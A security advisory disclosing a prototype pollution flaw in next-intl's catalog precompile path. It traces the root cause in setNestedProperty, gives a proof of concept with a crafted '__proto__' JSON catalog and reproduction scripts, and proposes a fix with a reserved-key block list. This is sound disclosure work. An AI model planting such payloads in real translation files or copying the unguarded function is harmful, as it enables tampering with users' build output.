next-intl has prototype pollution with `experimental.messages.precompile` via attacker-controlled translation catalog keys

Summary

setNestedProperty in packages/next-intl/src/extractor/utils.tsx walks a dotted key path and assigns the final value without blocking the reserved keys __proto__, constructor, or prototype. When the next-intl Next.js plugin is configured with experimental.messages and messages.precompile: true, a JSON translation catalog containing a top‑level __proto__ key causes setNestedProperty(result, '__proto__.isAdmin', compiledMessage) to assign onto Object.prototype, polluting every object in the running build process.

Details

Root cause — packages/next-intl/src/extractor/utils.tsx:13-34:

export function setNestedProperty(
  obj: Record<string, any>,
  keyPath: string,
  value: any
): void {
  const keys = keyPath.split('.');
  let current = obj;

  for (let i = 0; i < keys.length - 1; i++) {
    const key = keys[i];
    if (
      !(key in current) ||
      typeof current[key] !== 'object' ||
      current[key] === null
    ) {
      current[key] = {};
    }
    current = current[key];
  }

  current[keys[keys.length - 1]] = value;
}

The existence check !(key in current) uses the in operator, which walks the prototype chain. For key === '__proto__', '__proto__' in {} is true (it's inherited from Object.prototype) and typeof current['__proto__'] === 'object' (it is Object.prototype). The guard therefore never re-initializes current[key], and current = current['__proto__'] redirects all subsequent writes onto Object.prototype. The final assignment current[keys[keys.length-1]] = value sets Object.prototype[<attacker key>] = <attacker value>.

Build-time data flow:

1. packages/next-intl/src/plugin/catalog/catalogLoader.tsx:55-83 — the webpack/turbopack loader receives the catalog file source and, if options.messages.precompile is enabled, calls codec.decode(source, {locale}).
2. packages/next-intl/src/extractor/format/codecs/JSONCodec.tsx:9-18 — decode runs JSON.parse(source). V8 installs __proto__ as an own data property on the result when the JSON key is literally "__proto__" (bypassing the normal Object.prototype.__proto__ setter that would otherwise reassign the prototype).
3. JSONCodec.tsx:33-53 — traverseMessages iterates Object.keys(obj), which for a JSON‑parsed object includes the own __proto__ key. It reads obj.__proto__ (returns the attacker’s nested object, not Object.prototype, because it's an own property), recurses into it, and emits message id __proto__.isAdmin.
4. catalogLoader.tsx:71 — precompileMessages(decoded, cache).
5. catalogLoader.tsx:89-131 — for each message, calls setNestedProperty(result, message.id, compiledMessage). With message.id === '__proto__.isAdmin', setNestedProperty walks into Object.prototype and assigns Object.prototype.isAdmin = compiledMessage.

The same sink is also reachable via JSONCodec.encode (JSONCodec.tsx:20-26) and POCodec (packages/next-intl/src/extractor/format/codecs/POCodec.tsx:87) during extraction, both of which feed attacker-influenced message.id values into setNestedProperty — but those paths require control of source-code identifiers, which is a weaker attack vector than the build-time catalog path above.

After pollution, every subsequent object access during the remainder of the Next.js build pipeline (webpack, turbopack, babel, next-intl’s own logic) inherits the attacker-controlled properties. This is a classic gadget-chain precondition for corrupting build-tool internals and tampering with generated bundles, since many build tools use patterns like if (obj.someFlag) or options[key] ?? default that are sensitive to polluted prototypes.

Trust boundary note: next-intl’s message catalogs are realistically attacker-influenced in practice. Translation files are routinely round-tripped through external TMS systems (Crowdin, Lokalise, Transifex), accepted via community locale PRs, or pulled from third-party translation packages — any of which can carry a crafted __proto__ key unnoticed, since JSON translation diffs are usually merged with minimal scrutiny.

PoC

Prerequisites: a Next.js project using next-intl ≤ 4.9.1 with the Next.js plugin configured:

// next.config.ts
import createNextIntlPlugin from 'next-intl/plugin';

const withNextIntl = createNextIntlPlugin({
  experimental: {
    messages: {
      path: './messages',
      format: 'json',
      locales: 'infer',
      precompile: true
    }
  }
});

export default withNextIntl({});

1. Drop a malicious catalog at messages/en.json:

   js

   {
     "Greeting": "Hello",
     "__proto__": { "isAdmin": "polluted" }
   }

2. Run next build (or next dev). The catalogLoader will invoke JSONCodec.decode → traverseMessages → precompileMessages → setNestedProperty.

3. Minimal reproduction of the sink itself (verified locally against the v4.9.1 source):

   js

   function setNestedProperty(obj, keyPath, value) {
     const keys = keyPath.split('.');
     let current = obj;
     for (let i = 0; i < keys.length - 1; i++) {
       const key = keys[i];
       if (!(key in current) || typeof current[key] !== 'object' || current[key] === null) {
         current[key] = {};
       }
       current = current[key];
     }
     current[keys[keys.length - 1]] = value;
   }
   
   setNestedProperty({}, '__proto__.isAdmin', 'PWNED');
   console.log(({}).isAdmin); // -> "PWNED"

   Output: PWNED.

4. Full chain reproduction (also verified):

   js

   const parsed = JSON.parse('{"Greeting":"Hello","__proto__":{"isAdmin":"polluted"}}');
   // traverseMessages emits: [{id:"Greeting",message:"Hello"},{id:"__proto__.isAdmin",message:"polluted"}]
   // precompileMessages then calls setNestedProperty(result, "__proto__.isAdmin", "polluted")
   console.log(({}).isAdmin); // -> "polluted"

   After the loader runs, ({}).isAdmin === 'polluted' for the remainder of the build Node process.

Impact

• Object.prototype is polluted for the lifetime of the build‑time Node.js process, affecting every object created or inspected thereafter in the Next.js build pipeline (webpack/turbopack loaders, babel plugins, next-intl’s own codecs, user plugins).
• Classic CWE-1321 gadget-chain precondition: downstream tools that branch on obj.someFlag, options[key] ?? default, if (!config.noX), etc. can be coerced into unintended behavior, including emitting tampered bundles.
• Realistic delivery vectors include TMS round-trips (Crowdin/Lokalise/Transifex), community locale PRs, and compromised/transitively-installed translation packages — all situations where a JSON catalog diff is routinely accepted without the scrutiny given to code changes.
• Exploitation requires the user to opt in to the experimental.messages + precompile configuration. Users who do not use the extractor/precompile features are not affected.

Recommended Fix

Reject reserved keys in setNestedProperty and stop using the in operator for the existence check. A minimal patch to packages/next-intl/src/extractor/utils.tsx:

const FORBIDDEN_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

export function setNestedProperty(
  obj: Record<string, any>,
  keyPath: string,
  value: any
): void {
  const keys = keyPath.split('.');
  for (const key of keys) {
    if (FORBIDDEN_KEYS.has(key)) {
      throw new Error(`Invalid message id segment: ${key}`);
    }
  }

  let current = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    const key = keys[i];
    if (
      !Object.prototype.hasOwnProperty.call(current, key) ||
      typeof current[key] !== 'object' ||
      current[key] === null
    ) {
      current[key] = Object.create(null);
    }
    current = current[key];
  }

  current[keys[keys.length - 1]] = value;
}

Additionally:

• In packages/next-intl/src/extractor/format/codecs/JSONCodec.tsx, make traverseMessages skip reserved keys (or switch to Object.create(null) + Object.hasOwn semantics) so that a malicious catalog is rejected early with a clear error rather than producing __proto__.* message ids.
• In packages/next-intl/src/plugin/catalog/catalogLoader.tsx, initialize precompileMessages’s result with Object.create(null) as defense in depth, so even if a key slipped through it could not redirect through Object.prototype.